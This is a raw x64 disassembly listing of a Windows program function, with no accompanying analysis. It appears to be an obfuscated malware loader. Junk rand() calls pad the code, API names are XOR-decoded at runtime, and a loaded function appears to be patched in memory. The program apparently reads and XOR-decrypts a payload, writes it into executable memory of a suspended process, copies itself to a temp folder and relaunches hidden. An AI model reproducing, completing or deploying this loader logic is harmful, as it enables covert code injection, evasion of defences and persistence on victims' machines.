lea r9, [rbp + 0x3d0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x140003220
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop
call sub.msvcrt.dll_rand
cmp eax, 0xe8
je 0x1400033b0
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xcb0]
call rsi
mov rcx, qword [rbp + 0xcc8]
call rsi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov r13, qword [rbp + 0xc90]
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x67
je 0x140003400
mov rcx, qword [rbp + 0xcc0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xd7
je 0x140003420
mov rcx, qword [rbp + 0xcb8]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x58
je 0x140003440
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x2d
je 0x140003460
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xdd
je 0x140003470
mov dword [rbp + 0xd28], 0
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xf4
je 0x140003490
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x9f
je 0x1400034a0
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 9
call sub.msvcrt.dll_malloc
or esi, esi
mov r14d, 0x31
mov ecx, 0xa8
cmove ecx, r14d
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c260]
mov ebx, 0xa8
movd dword [rax], xmm0
mov edx, ecx
xor dl, 0x86
mov byte [rax + 4], dl
mov edx, ecx
xor dl, 0xcc
mov byte [rax + 5], dl
xor cl, 0xc4
mov byte [rax + 6], cl
mov byte [rax + 7], cl
mov byte [rax + 8], 0
push rax
nop
pop rcx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
nop
push rax
pop rsi
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0xf
call sub.msvcrt.dll_malloc
or edi, edi
cmove ebx, r14d
movd xmm0, ebx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c270]
movq qword [rax], xmm0
mov ecx, ebx
xor cl, 0xea
mov byte [rax + 8], cl
mov ecx, ebx
xor cl, 0xdd
mov byte [rax + 9], cl
mov ecx, ebx
xor cl, 0xce
mov byte [rax + 0xa], cl
mov byte [rax + 0xb], cl
mov ecx, ebx
xor cl, 0xcd
mov byte [rax + 0xc], cl
xor bl, 0xda
mov byte [rax + 0xd], bl
mov byte [rax + 0xe], 0
push rsi
pop rcx
nop
push rax
nop
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
push rax
nop
pop rsi
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x2d
je 0x140003590
add rsi, 0x83
lea r9, [rbp + 0xd28]
mov edx, 1
push rsi
nop
pop rcx
mov r8d, 0x40
call r13
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x2b
je 0x1400035c0
call sub.msvcrt.dll_rand
or eax, eax
mov eax, 0xc5
mov ecx, 0x5c
cmove ecx, eax
mov byte [rsi], cl
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop
call sub.msvcrt.dll_rand
cmp eax, 0x8f
je 0x1400035f0
mov r8d, dword [rbp + 0xd28]
lea r9, [rbp + 0xd28]
mov edx, 1
push rsi
pop rcx
nop
call r13
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x3e
je 0x140003620
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xb3
je 0x140003640
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 5
je 0x140003650
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x8d
je 0x140003670
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x73
je 0x140003690
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x11
je 0x1400036b0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x29
je 0x1400036c0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x79
je 0x1400036d0
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xa
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xa8
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c280]
movd dword [rax], xmm0
movdqa xmmword [rbp + 0xb60], xmm0
movzx ecx, byte [rbp + 0xb61]
mov byte [rax + 4], cl
mov r8d, edx
xor r8b, 0xc9
mov byte [rax + 5], r8b
mov r8d, edx
xor r8b, 0xcc
mov byte [rax + 6], r8b
mov byte [rax + 7], cl
xor dl, 0xda
mov byte [rax + 8], dl
mov byte [rax + 9], 0
mov dword [rsp + 0x20], 0
push rax
nop
pop rcx
sub edx, edx
sub r8d, r8d
sub r9d, r9d
call qword [rbp + 0xca8]
push rax
pop rsi
nop
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x5d
je 0x140003770
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0x21
call sub.msvcrt.dll_malloc
or edi, edi
mov edx, 0x31
mov ecx, 0xa8
cmove ecx, edx
mov edx, ecx
xor dl, 0xc0
mov byte [rax], dl
mov edx, ecx
xor dl, 0xdc
mov byte [rax + 1], dl
mov byte [rax + 2], dl
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
movdqa xmm1, xmmword [0x14000c290]
pxor xmm1, xmm0
pxor xmm2, xmm2
movdqa xmm3, xmm1
punpcklbw xmm3, xmm2
pshufhw xmm2, xmm3, 0x6c
pshufd xmm2, xmm2, 0x2e
pshuflw xmm2, xmm2, 0x73
pshufhw xmm2, xmm2, 7
pshufd xmm3, xmm3, 0x27
pshuflw xmm3, xmm3, 0xec
pshufd xmm3, xmm3, 0x27
pshuflw xmm3, xmm3, 0xa4
pshufhw xmm3, xmm3, 0x93
packuswb xmm3, xmm2
movdqu xmmword [rax + 3], xmm3
movdqa xmmword [rbp + 0xcf0], xmm1
movzx edx, byte [rbp + 0xcf4]
mov byte [rax + 0x13], dl
movzx edx, byte [rbp + 0xcf0]
movzx r8d, byte [rbp + 0xcf2]
mov byte [rax + 0x14], r8b
mov byte [rax + 0x15], dl
pxor xmm0, xmmword [0x14000c2a0]
movd dword [rax + 0x16], xmm0
movdqa xmmword [rbp + 0xb70], xmm0
movzx edx, byte [rbp + 0xb70]
mov byte [rax + 0x1a], dl
mov edx, ecx
xor dl, 0xcc
mov byte [rax + 0x1b], dl
movzx edx, byte [rbp + 0xcf5]
mov byte [rax + 0x1c], dl
mov edx, ecx
xor dl, 0xca
mov byte [rax + 0x1d], dl
mov edx, ecx
xor dl, 0xc1
mov byte [rax + 0x1e], dl
xor cl, 0xc6
mov byte [rax + 0x1f], cl
mov byte [rax + 0x20], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
sub ebx, ebx
push rsi
nop
pop rcx
nop
push rax
pop rdx
sub r8d, r8d
sub r9d, r9d
call qword [rbp + 0xca0]
push rax
nop
pop rsi
lea rdx, [rbp + 0x3d0]
lea r9, [rbp + 0xd2c]
push rax
pop rcx
nop
mov r8d, 0x400
call qword [rbp + 0xd18]
or eax, eax
je 0x1400039d5
cmp dword [rbp + 0xd2c], 0
mov r12d, 0
je 0x1400039e0
xor r12d, r12d
lea rdi, [rbp + 0x3d0]
lea r14, [rbp + 0xd2c]
sub ebx, ebx
nop word [rax + rax]
mov r15d, r12d
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0xd2c]
add edx, r12d
nop
push rbx
pop rcx
call sub.msvcrt.dll_realloc
nop
push rax
pop rbx
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x4f
je 0x140003950
movsxd rax, r15d
push rbx
nop
pop rcx
add rcx, rax
mov r8d, dword [rbp + 0xd2c]
nop
push rdi
pop rdx
call sub.msvcrt.dll_memcpy
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov r12d, dword [rbp + 0xd2c]
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x1c
je 0x1400039a0
add r12d, r15d
push rsi
nop
pop rcx
push rdi
nop
pop rdx
mov r8d, 0x400
mov r9, r14
call qword [rbp + 0xd18]
or eax, eax
je 0x1400039e0
cmp dword [rbp + 0xd2c], 0
jne 0x140003920
jmp 0x1400039e0
xor r12d, r12d
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xb4
je 0x1400039e0
movsxd rsi, r12d
nop
push rsi
pop rcx
call sub.msvcrt.dll_malloc
mov r15, rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x26
je 0x140003a10
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x59
je 0x140003a20
call sub.msvcrt.dll_rand
test r12d, r12d
je 0x140003b80
or eax, eax
mov ecx, 0x31
mov eax, 0xa8
cmove eax, ecx
sub ecx, ecx
cmp r12d, 8
jb 0x140003b0e
mov rdx, r15
sub rdx, rbx
cmp rdx, 0x20
jb 0x140003b0e
movzx edx, al
cmp r12d, 0x20
jae 0x140003a70
sub ecx, ecx
jmp 0x140003aca
nop
push rsi
pop rcx
and rcx, 0xffffffffffffffe0
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
sub r8d, r8d
nop dword [rax]
movdqu xmm1, xmmword [rbx + r8]
movdqu xmm2, xmmword [rbx + r8 + 0x10]
pxor xmm1, xmm0
pxor xmm2, xmm0
movdqu xmmword [r15 + r8], xmm1
movdqu xmmword [r15 + r8 + 0x10], xmm2
add r8, 0x20
cmp rcx, r8
jne 0x140003a90
cmp rcx, rsi
je 0x140003b80
test sil, 0x18
je 0x140003b0e
mov r8, rcx
push rsi
nop
pop rcx
and rcx, 0xfffffffffffffff8
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
nop word cs:[rax + rax]
movq xmm1, qword [rbx + r8]
pxor xmm1, xmm0
movq qword [r15 + r8], xmm1
add r8, 8
cmp rcx, r8
jne 0x140003af0
cmp rcx, rsi
je 0x140003b80
push rcx
pop rdx
nop
not rdx
add rdx, rsi
mov r8, rsi
and r8, 3
je 0x140003b34
movzx r9d, byte [rbx + rcx]
xor r9b, al
mov byte [r15 + rcx], r9b
inc rcx
dec r8
jne 0x140003b20
cmp rdx, 3
jb 0x140003b80
nop word [rax + rax]
movzx edx, byte [rbx + rcx]
xor dl, al
mov byte [r15 + rcx], dl
movzx edx, byte [rbx + rcx + 1]
xor dl, al
mov byte [r15 + rcx + 1], dl
movzx edx, byte [rbx + rcx + 2]
xor dl, al
mov byte [r15 + rcx + 2], dl
movzx edx, byte [rbx + rcx + 3]
xor dl, al
mov byte [r15 + rcx + 3], dl
add rcx, 4
cmp rsi, rcx
jne 0x140003b40
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 2
je 0x140003b80
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov r12, qword [rbp + 0xc60]
call sub.msvcrt.dll_rand
cmp eax, 0x77
je 0x140003ba0
mov dword [rbp + 0xd24], 0
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x20
je 0x140003bc0
lea r9, [rbp + 0xd24]
mov rcx, r15
push rsi
nop
pop rdx
mov r8d, 0x40
call r13
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop
call sub.msvcrt.dll_rand
cmp eax, 0x99
je 0x140003c00
pxor xmm0, xmm0
movdqa xmmword [rbp + 0xa40], xmm0
movdqa xmmword [rbp + 0xa30], xmm0
movdqa xmmword [rbp + 0xa20], xmm0
movdqa xmmword [rbp + 0xa10], xmm0
movdqa xmmword [rbp + 0xa00], xmm0
movdqa xmmword [rbp + 0x9f0], xmm0
mov qword [rbp + 0xa50], 0
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xcb
je 0x140003c50
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
movdqa xmmword [rbp + 0xd00], xmm0
mov qword [rbp + 0xd10], 0
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x42
je 0x140003c90
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x7d
je 0x140003ca0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x34
je 0x140003cb0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x57
je 0x140003cc0
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0x1a
call sub.msvcrt.dll_malloc
or edi, edi
mov edx, 0x31
mov ecx, 0xa8
cmove ecx, edx
mov edx, ecx
xor dl, 0xeb
mov byte [rax], dl
mov edx, ecx
xor dl, 0x92
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c2b0]
mov byte [rax + 1], dl
movdqa xmmword [rbp + 0xc20], xmm0
movzx edx, byte [rbp + 0xc20]
movzx r8d, byte [rbp + 0xc25]
mov byte [rax + 2], dl
movq qword [rax + 3], xmm0
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], dl
mov edx, ecx
xor dl, 0xcd
mov byte [rax + 0xd], dl
mov r9d, ecx
xor r9b, 0xd0
mov byte [rax + 0xe], r9b
mov r10d, ecx
xor r10b, 0xd8
mov byte [rax + 0xf], r10b
mov r10d, ecx
xor r10b, 0xc4
mov byte [rax + 0x10], r10b
mov byte [rax + 0x11], r8b
mov r8d, ecx
xor r8b, 0xda
mov byte [rax + 0x12], r8b
mov byte [rax + 0x13], dl
mov byte [rax + 0x14], r8b
xor cl, 0x86
mov byte [rax + 0x15], cl
mov byte [rax + 0x16], dl
mov byte [rax + 0x17], r9b
mov byte [rax + 0x18], dl
mov byte [rax + 0x19], 0
lea rcx, [rbp + 0xd00]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x9f0]
mov qword [rsp + 0x40], rcx
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
nop
push rax
pop rcx
sub edx, edx
sub r8d, r8d
sub r9d, r9d
call r12
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rbx, qword [rbp + 0xd00]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rdi, qword [rbp + 0xd08]
nop
call sub.msvcrt.dll_rand
cmp eax, 0xa5
je 0x140003e20
mov rcx, qword [rbp + 0xd00]
call fcn.140001ef0
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x25
je 0x140003e40
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xe
je 0x140003e60
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x1a
je 0x140003e70
mov rcx, qword [rbp + 0xd00]
call fcn.140001b90
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xde
je 0x140003e90
mov rcx, qword [rbp + 0xd00]
call fcn.1400017e0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x1b
je 0x140003ee0
mov dword [rsp + 0x20], 0x40
nop
push rbx
pop rcx
sub edx, edx
mov r8, rsi
mov r9d, 0x1000
call qword [rbp + 0xc78]
mov r14, rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov qword [rsp + 0x20], 0
push rbx
pop rcx
nop
mov rdx, r14
mov r8, r15
mov r9, rsi
call qword [rbp + 0xc80]
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x6e
je 0x140003f60
mov rcx, r14
push rdi
pop rdx
nop
sub r8d, r8d
call qword [rbp + 0xc88]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop
push rdi
pop rcx
call qword [rbp + 0xc98]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop
call sub.msvcrt.dll_rand
cmp eax, 0x81
je 0x140003fb0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xb8
je 0x140003fd0
lea rdx, [rbp + 0x7d0]
sub ecx, ecx
mov r8d, 0x104
call qword [rbp + 0xc70]
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xa6
je 0x140004000
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x7b
je 0x140004010
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x73
je 0x140004020
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x91
je 0x140004030
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xff
je 0x140004050
lea rsi, [rbp + 0x8e0]
mov ecx, 0x104
nop
push rsi
pop rdx
call qword [rbp + 0xc68]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0xc
call sub.msvcrt.dll_malloc
or edi, edi
mov ecx, 0x31
mov edx, 0xa8
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c2c0]
movdqa xmmword [rbp + 0xc30], xmm0
movzx ecx, byte [rbp + 0xc34]
movzx r8d, byte [rbp + 0xc37]
mov byte [rax], cl
movq qword [rax + 1], xmm0
xor dl, 0xd0
mov byte [rax + 9], dl
mov byte [rax + 0xa], r8b
mov byte [rax + 0xb], 0
push rsi
pop rcx
nop
push rax
nop
pop rdx
call sub.msvcrt.dll_strcat
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
lea rdx, [rbp + 0x7d0]
nop
push rsi
pop rcx
call sub.msvcrt.dll_strstr
or rax, rax
jne 0x1400043d9
lea rcx, [rbp + 0x7d0]
lea rdx, [rbp + 0x8e0]
sub r8d, r8d
call qword [rbp + 0xcd8]
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x8a
je 0x140004140
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x8f
je 0x140004160
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xfd
je 0x140004180
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x53
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xa8
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm1, xmm0, 0
pshufd xmm1, xmm1, 0
movdqa xmm2, xmmword [0x14000c2d0]
pxor xmm2, xmm1
movdqu xmmword [rax], xmm2
movdqa xmm2, xmmword [0x14000c2e0]
pxor xmm2, xmm1
movdqu xmmword [rax + 0x10], xmm2
movdqa xmm2, xmmword [0x14000c2f0]
pxor xmm2, xmm1
movdqu xmmword [rax + 0x20], xmm2
movdqa xmm2, xmmword [0x14000c300]
pxor xmm2, xmm1
movdqu xmmword [rax + 0x30], xmm2
pxor xmm1, xmmword [0x14000c310]
pxor xmm0, xmmword [0x14000c320]
movdqu xmmword [rax + 0x40], xmm1
movd ecx, xmm0
mov word [rax + 0x50], cx
mov byte [rax + 0x52], 0
lea rcx, [rbp - 0x30]
lea r8, [rbp + 0x8e0]
push rax
pop rdx
nop
call fcn.140004400
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x3e
je 0x140004240
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x5f
je 0x140004270
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xf7
je 0x140004280
pxor xmm0, xmm0
movdqa xmmword [rbp + 0xab0], xmm0
movdqa xmmword [rbp + 0xaa0], xmm0
movdqa xmmword [rbp + 0xa90], xmm0
movdqa xmmword [rbp + 0xa80], xmm0
movdqa xmmword [rbp + 0xa70], xmm0
movdqa xmmword [rbp + 0xa60], xmm0
mov qword [rbp + 0xac0], 0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x17
je 0x1400042e0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
pxor xmm6, xmm6
movdqa xmmword [rbp + 0xc40], xmm6
mov qword [rbp + 0xc50], 0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov dword [rbp + 0xa60], 0x68
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
lea rax, [rbp + 0xc40]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xa60]
mov qword [rsp + 0x40], rax
movdqu xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
lea rdx, [rbp - 0x30]
sub ecx, ecx
sub r8d, r8d
sub r9d, r9d
call r12
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rcx, qword [rbp + 0xc40]
mov rsi, qword [rbp + 0xcd0]
call rsi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rcx, qword [rbp + 0xc48]
call rsi
sub eax, eax
movaps xmm6, xmmword [rbp + 0xd30]
add rsp, 0xdc8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret